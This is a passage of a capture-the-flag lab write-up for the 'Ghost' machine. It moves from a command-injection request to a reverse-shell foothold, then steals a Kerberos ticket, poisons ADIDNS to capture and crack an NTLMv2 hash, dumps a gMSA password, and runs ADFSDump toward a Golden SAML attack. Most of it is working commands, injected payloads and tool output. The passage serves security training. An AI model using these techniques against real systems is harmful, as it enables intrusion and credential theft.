                    Outcome::Error((Status::Unauthorized, ()))
                }
            },
            None => Outcome::Error((Status::Unauthorized, ()))
        }
    }
}

Looks like it grabs the headers and checks it against the envvar and returns an unauthorized error if it doesn’t match.

ghost-dev intranet RCE

We have all the pieces we need, let’s construct a payload request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api-dev/scan HTTP/1.1
Host: intranet.ghost.htb:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/json
X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe


{"url":";whoami"}

We get the following response.

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Sep 2026 04:43:51 GMT
Content-Type: application/json
Content-Length: 153
Connection: keep-alive
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
permissions-policy: interest-cohort=()

{"is_safe":true,"temp_command_success":true,"temp_command_stdout":"root\n","temp_command_stderr":"bash: line 1: intranet_url_check: command not found\n"}

Using this I’ll grab a reverse shell

1
2
root@36b733906694:/app# id
uid=0(root) gid=0(root) groups=0(root)

Just like that we have a foothold shell.

Foothold on AD

Taking a look at our foothold’s home directory we can find an interesting directory in the .ssh folder controlmaster containing an interesting socket file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@36b733906694:~# ls -lashR
.:
total 28K
8.0K drwx------ 1 root root 4.0K Jul  5  2024 .
4.0K drwxr-xr-x 1 root root 4.0K Jul 22  2024 ..
   0 lrwxrwxrwx 1 root root    9 Jul  5  2024 .bash_history -> /dev/null
4.0K -rw-r--r-- 1 root root  571 Apr 10  2021 .bashrc
4.0K -rw-r--r-- 1 root root  161 Jul  9  2019 .profile
8.0K drwxr-xr-x 1 root root 4.0K Jul  5  2024 .ssh

./.ssh:
total 32K
8.0K drwxr-xr-x 1 root root 4.0K Jul  5  2024 .
8.0K drwx------ 1 root root 4.0K Jul  5  2024 ..
4.0K -rw-r--r-- 1 root root   92 Sep 24 01:31 config
4.0K drwxr-xr-x 1 root root 4.0K Sep 24 01:34 controlmaster
4.0K -rw------- 1 root root  978 Jul  5  2024 known_hosts
4.0K -rw-r--r-- 1 root root  142 Jul  5  2024 known_hosts.old

./.ssh/controlmaster:
total 12K
4.0K drwxr-xr-x 1 root root 4.0K Sep 24 01:34 .
8.0K drwxr-xr-x 1 root root 4.0K Jul  5  2024 ..
   0 srw------- 1 root root    0 Sep 24 01:33 florence.ramirez@ghost.htb@dev-workstation:22

Let’s take a look at the config

1
2
3
4
5
root@36b733906694:~# cat .ssh/config
Host *
  ControlMaster auto
  ControlPath ~/.ssh/controlmaster/%r@%h:%p
  ControlPersist yes

We see that the ControlMaster is on auto which means that an ssh session will automatically be controlled by creating a socket in the defined ControlPath, finally the ControlPersist determines the duration that the socket will stay alive, in this case perpetually. What all this means is that there’s an active ssh session that we can use to get to florence.ramirez@ghost.htb@dev-workstation. We can determine the ip address of this workstation via the curl command

1
2
3
4
5
6
root@36b733906694:~# curl dev-workstation -vv
*   Trying 172.18.0.2:80...
* connect to 172.18.0.2 port 80 failed: Connection refused
* Failed to connect to dev-workstation port 80 after 5 ms: Couldn't connect to server
* Closing connection 0
curl: (7) Failed to connect to dev-workstation port 80 after 5 ms: Couldn't connect to server

We can also simply use the socket to connect to the machine.

1
2
3
root@36b733906694:~# ssh florence.ramirez@ghost.htb@dev-workstation
Last login: Thu Feb  1 23:58:45 2024 from 172.18.0.1
florence.ramirez@LINUX-DEV-WS01:~$ 

Taking a look we can find that we do have a kerberos session active.

1
2
3
4
5
6
7
florence.ramirez@LINUX-DEV-WS01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB

Valid starting     Expires            Service principal
09/24/26 04:54:03  09/24/26 14:54:03  krbtgt/GHOST.HTB@GHOST.HTB
        renew until 09/25/26 04:54:03

The ticket cache file is the most interesting here so I’ll grab that and transfer it to my attacker machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS /home/w1ld/ALPHA/ghost> klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: florence.ramirez@GHOST.HTB

Valid starting       Expires              Service principal
09/24/2026 14:55:02  09/25/2026 00:55:02  krbtgt/GHOST.HTB@GHOST.HTB
        renew until 09/25/2026 14:55:02
PS /home/w1ld/ALPHA/ghost> nxc ldap dc01.ghost.htb -k --use-kcache -M whoami
LDAP        dc01.ghost.htb  389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GHOST.HTB) (signing:None) (channel binding:Never) 
LDAP        dc01.ghost.htb  389    DC01             [+] GHOST.HTB\florence.ramirez from ccache 
WHOAMI      dc01.ghost.htb  389    DC01             Name: Florence Ramirez
WHOAMI      dc01.ghost.htb  389    DC01             sAMAccountName: florence.ramirez
WHOAMI      dc01.ghost.htb  389    DC01             Enabled: Yes
WHOAMI      dc01.ghost.htb  389    DC01             Password Never Expires: Yes
WHOAMI      dc01.ghost.htb  389    DC01             Last logon: 2026-09-24 04:58:02 UTC
WHOAMI      dc01.ghost.htb  389    DC01             Password Last Set: 2024-02-01 22:48:11 UTC
WHOAMI      dc01.ghost.htb  389    DC01             Bad Password Count: 0
WHOAMI      dc01.ghost.htb  389    DC01             Distinguished Name: CN=Florence Ramirez,CN=Users,DC=ghost,DC=htb
WHOAMI      dc01.ghost.htb  389    DC01             Member of: CN=IT,CN=Users,DC=ghost,DC=htb
WHOAMI      dc01.ghost.htb  389    DC01             User SID: S-1-5-21-4084500788-938703357-3654145966-3606

Just like that we have a foothold onto the ghost.htb domain.

User

Mapping Our Next Moves

What we really want is a shell on DC01 as right now we have a shell on the LINUX-DEV-WS01 computer.

1
2
3
4
5
6
7
PS /home/w1ld/ALPHA/ghost> bloodyAD -H dc01.ghost.htb -d ghost.htb -k get search --filter "(objectClass=computer)" --attr distinguishedName

distinguishedName: CN=DC01,OU=Domain Controllers,DC=ghost,DC=htb

distinguishedName: CN=LINUX-DEV-WS01,CN=Computers,DC=ghost,DC=htb

distinguishedName: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb

Commonly the group that can get us that shell is the Remote Management Users which has the following members.

1
2
3
4
PS /home/w1ld/ALPHA/ghost> bloodyAD -H dc01.ghost.htb -d ghost.htb -k get object "Remote Management Users" --attr member                   

distinguishedName: CN=Remote Management Users,CN=Builtin,DC=ghost,DC=htb
member: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb; CN=Justin Bradley,CN=Users,DC=ghost,DC=htb

We notice a familiar name: justin.bradley who earlier complained that the bitbucket domain wasn’t accessible we could be able to exploit this. By default Domain Users are able to modify the ADIDNS of a domain, let’s double check this.

1
2
3
4
5
6
7
8
9
10
11
12
13
PS /home/w1ld/ALPHA/ghost> bloodyAD -H dc01.ghost.htb -d ghost.htb -k get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=ghost,DC=htb
permission: WRITE

distinguishedName: CN=Florence Ramirez,CN=Users,DC=ghost,DC=htb
permission: WRITE

distinguishedName: DC=ghost.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ghost,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.ghost.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=ghost,DC=htb
permission: CREATE_CHILD

Based on this our next move would probably to create an ADIDNS entry for bitbucket pointing to our attacker machine running responder to catch any authentication. Important to note that since SMB signing is required we cannot feasibly relay to smb. We could theoretically relay to ldap as signing and channelBinding are both disabled, however I was unable to get any authentication to work.

Once we do get justin.bradley we’d have a shell on the domain, taking a look at ACLs through ldap querying and matching justin.bradley's SID around we find he’s a member of msDS-GroupMSAMembership. Whos users can read the passwords of Managed Service Accounts. Which we find to be adfs_gmsa. Here’s a little bit of the terminal-fu that went into this enumeration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS /home/w1ld/ALPHA/ghost> cat ./users.acl | grep -b3 "justin.bradley"
46509-objectSid: S-1-5-21-4084500788-938703357-3654145966-3607
46566-primaryGroupID: 513
46586-pwdLastSet: 2024-02-01 22:48:11.603334+00:00
46631:sAMAccountName: justin.bradley
46662-sAMAccountType: 805306368
46688-sn: bradley
46700-uSNChanged: 159944
PS /home/w1ld/ALPHA/ghost> grep -Rni "S-1-5-21-4084500788-938703357-3654145966-3607" *.acl     
users.acl:320:objectSid: S-1-5-21-4084500788-938703357-3654145966-3607
users.acl:576:msDS-GroupMSAMembership: O:S-1-5-32-544D:(A;;0xf01ff;;;S-1-5-21-4084500788-938703357-3654145966-1000)(A;;0xf01ff;;;S-1-5-21-4084500788-938703357-3654145966-3607)
PS /home/w1ld/ALPHA/ghost> grep -Rni "Managed Service Accounts" *.acl                     
groups.acl:437:member: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb; CN=Justin Bradley,CN=Users,DC=ghost,DC=htb
users.acl:559:distinguishedName: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb

Justin.Bradley through DNS Poisoning

So I added my DNS record like so.

1
2
3
PS /home/w1ld/ALPHA/ghost> bloodyAD -H dc01.ghost.htb -d ghost.htb -k add dnsRecord bitbucket 10.10.14.3
[+] Adding "bitbucket" to "DC=ghost.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ghost,DC=htb"
[+] bitbucket has been successfully added

With Responder running to catch the authentications.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
PS /home/w1ld/ALPHA/ghost> sudo /home/w1ld/.local/bin/responder -I tun0 -v    
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[*] Tips jar:
    USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
    BTC  -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]
    DHCPv6                     [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.3]
    Responder IPv6             [fe80::946b:9999:c12c:e127]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-IHWL6RN2MY3]
    Responder Domain Name      [Z2AZ.LOCAL]
    Responder DCE-RPC Port     [48494]

[*] Version: Responder 3.2.2.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>

[+] Listening for events...

[SNMP] Warning: pyasn1 not installed, SNMP server disabled
[!] Error starting SSL server on port 5986, check permissions or other servers running.
[!] Error starting SSL server on port 443, check permissions or other servers running.
[!] Error starting SSL server on port 636, check permissions or other servers running.
[HTTP] Sending NTLM authentication request to 10.129.231.105
[HTTP] GET request from: ::ffff:10.129.231.105  URL: / 
[HTTP] NTLMv2 Client   : 10.129.231.105
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash     : justin.bradley::ghost:3b259d01621065a4:6C3F56DA560AA536C46866B47B5B1114:01010000000000000D02D[REDACTED]

We catch an ntlmv2 hash for justin.bradley we can attempt to crack it using hashcat’s 5600 mode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
PS /home/w1ld/ALPHA/ghost> hashcat -m 5600 ./justin.bradley.pem /usr/share/seclists/rockyou.txt -w 3
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 7 5800H with Radeon Graphics, 2917/5899 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/seclists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

JUSTIN.BRADLEY::ghost:3b259d01621065a4:6c3f56da560aa536c46866b47b5b1114:01010000000000000d02d5fb1f4cdd01[REDACTED]:[REDACTED]
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: JUSTIN.BRADLEY::ghost:3b259d01621065a4:6c3f56da560a...000000
Time.Started.....: Thu Sep 24 22:28:29 2026 (15 secs)
Time.Estimated...: Thu Sep 24 22:28:44 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/seclists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   658.8 kH/s (1.02ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10711040/14344384 (74.67%)
Rejected.........: 0/10711040 (0.00%)
Restore.Point....: 10708992/14344384 (74.66%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: R3010K -> Quelon
Hardware.Mon.#1..: Util: 37%

Started: Thu Sep 24 22:28:27 2026
Stopped: Thu Sep 24 22:28:46 2026

We get a successful crack, let’s authenticate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS /home/w1ld/ALPHA/ghost> nxc ldap dc01.ghost.htb -u 'justin.bradley' -p $PASS -M whoami             
LDAP        10.129.231.105  389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.231.105  389    DC01             [+] ghost.htb\justin.bradley:[REDACTED]
WHOAMI      10.129.231.105  389    DC01             Name: Justin Bradley
WHOAMI      10.129.231.105  389    DC01             sAMAccountName: justin.bradley
WHOAMI      10.129.231.105  389    DC01             Enabled: Yes
WHOAMI      10.129.231.105  389    DC01             Password Never Expires: Yes
WHOAMI      10.129.231.105  389    DC01             Last logon: 2026-09-24 12:25:33 UTC
WHOAMI      10.129.231.105  389    DC01             Password Last Set: 2024-02-01 22:48:11 UTC
WHOAMI      10.129.231.105  389    DC01             Bad Password Count: 0
WHOAMI      10.129.231.105  389    DC01             Distinguished Name: CN=Justin Bradley,CN=Users,DC=ghost,DC=htb
WHOAMI      10.129.231.105  389    DC01             Member of: CN=IT,CN=Users,DC=ghost,DC=htb
WHOAMI      10.129.231.105  389    DC01             Member of: CN=Remote Management Users,CN=Builtin,DC=ghost,DC=htb
WHOAMI      10.129.231.105  389    DC01             User SID: S-1-5-21-4084500788-938703357-3654145966-3607

Since we’re a member of Remote Management Users we’re able to winrm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
PS /home/w1ld/ALPHA/ghost> evil-winrmexec -k dc01.ghost.htb
[*] '-target_ip' not specified, using dc01.ghost.htb
[*] '-port' not specified, using 5985
[*] '-url' not specified, using http://dc01.ghost.htb:5985/wsman                                          
[*] using domain and username from ccache: GHOST.HTB\justin.bradley
[*] '-spn' not specified, using HTTP/dc01.ghost.htb@GHOST.HTB
[*] '-dc-ip' not specified, using GHOST.HTB
[*] requesting TGS for HTTP/dc01.ghost.htb@GHOST.HTB

Ctrl+D to exit, Ctrl+C will try to interrupt the running pipeline gracefully
This is not an interactive shell! If you need to run programs that expect
inputs from stdin, or exploits that spawn cmd.exe, etc., pop a !revshell

Special !bangs:
  !download RPATH [LPATH]          # downloads a file or directory (as a zip file); use 'PATH'
                                   # if it contains whitespace

  !upload [-xor] LPATH [RPATH]     # uploads a file; use 'PATH' if it contains whitespace, though use iwr
                                   # if you can reach your ip from the box, because this can be slow;
                                   # use -xor only in conjunction with !psrun/!netrun

  !amsi                            # amsi bypass, run this right after you get a prompt

  !psrun [-xor] URL                # run .ps1 script from url; uses ScriptBlock smuggling, so no !amsi patching is
                                   # needed unless that script tries to load a .NET assembly; if you can't reach
                                   # your ip, !upload with -xor first, then !psrun -xor 'c:\foo\bar.ps1' (needs absolute path)

  !netrun [-xor] URL [ARG] [ARG]   # run .NET assembly from url, use 'ARG' if it contains whitespace;
                                   # !amsi first if you're getting '...program with an incorrect format' errors;
                                   # if you can't reach your ip, !upload with -xor first then !netrun -xor 'c:\foo\bar.exe' (needs absolute path)

  !revshell IP PORT                # pop a revshell at IP:PORT with stdin/out/err redirected through a socket; if you can't reach your ip and you
                                   # you need to run an executable that expects input, try:
                                   # PS> Set-Content -Encoding ASCII 'stdin.txt' "line1`nline2`nline3"
                                   # PS> Start-Process some.exe -RedirectStandardInput 'stdin.txt' -RedirectStandardOutput 'stdout.txt'

  !log                             # start logging output to winrmexec_[timestamp]_stdout.log
  !stoplog                         # stop logging output to winrmexec_[timestamp]_stdout.log

PS C:\Users\justin.bradley\Documents> ls ../Desktop


    Directory: C:\Users\justin.bradley\Desktop


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-ar---         9/23/2026   6:31 PM             34 user.txt

There we can find the user flag.

Root

adfs_gmsa via GMSA Dump

We’ve enumerated earlier that justin.bradley is a member of the msDS-GroupMSAMembership who can read GMSA account passwords, let’s do just that.

1
2
3
4
5
PS /home/w1ld/ALPHA/ghost> bloodyAD -H dc01.ghost.htb -d ghost.htb -k get object "adfs_gmsa$" --attr msDs-ManagedPassword

distinguishedName: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb
msDS-ManagedPassword.NT: e37b1[REDACTED]
msDS-ManagedPassword.B64ENCODED: 0rTxkbJ+YrPyMgMEp1BsR6qHO[REDACTED]

Let’s check our authentication.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS /home/w1ld/ALPHA/ghost> klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: adfs_gmsa$@GHOST.HTB

Valid starting       Expires              Service principal
09/24/2026 22:45:15  09/25/2026 08:45:15  krbtgt/GHOST.HTB@GHOST.HTB
        renew until 09/25/2026 22:45:14
PS /home/w1ld/ALPHA/ghost> nxc ldap dc01.ghost.htb -k --use-kcache -M whoami             
LDAP        dc01.ghost.htb  389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GHOST.HTB) (signing:None) (channel binding:Never) 
LDAP        dc01.ghost.htb  389    DC01             [+] GHOST.HTB\adfs_gmsa$ from ccache 
WHOAMI      dc01.ghost.htb  389    DC01             Name: adfs_gmsa
WHOAMI      dc01.ghost.htb  389    DC01             sAMAccountName: adfs_gmsa$
WHOAMI      dc01.ghost.htb  389    DC01             Enabled: Yes
WHOAMI      dc01.ghost.htb  389    DC01             Password Never Expires: No
WHOAMI      dc01.ghost.htb  389    DC01             Last logon: 2026-09-24 12:45:15 UTC
WHOAMI      dc01.ghost.htb  389    DC01             Password Last Set: 2026-09-24 01:31:40 UTC
WHOAMI      dc01.ghost.htb  389    DC01             Bad Password Count: 0
WHOAMI      dc01.ghost.htb  389    DC01             Service Account Name(s) found - Potentially Kerberoastable user!
WHOAMI      dc01.ghost.htb  389    DC01             Service Account Name: host/federation.ghost.htb
WHOAMI      dc01.ghost.htb  389    DC01             Distinguished Name: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb
WHOAMI      dc01.ghost.htb  389    DC01             Member of: CN=Remote Management Users,CN=Builtin,DC=ghost,DC=htb
WHOAMI      dc01.ghost.htb  389    DC01             User SID: S-1-5-21-4084500788-938703357-3654145966-4101

core.ghost.htb Administrator via Golden SAML

We find a very interesting SPN: host/federation.ghost.htb, this implies that there’s an ADFS endpoint with the domain of federation.ghost.htb. One of the attacks we can perform against ADFS is the Golden SAML attack which requires an Identity Provider to produce a SAMLResponse after a sign in.

I’ll run ADFSDump.exe on a winrm session to grab as much information about the ADFS service on the machine as possible.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
PS C:\w1ld> ./ADFSDump.exe
    ___    ____  ___________ ____                      
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____ 
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/ 
                                              /_/      
Created by @doughsec


## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7


[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1


## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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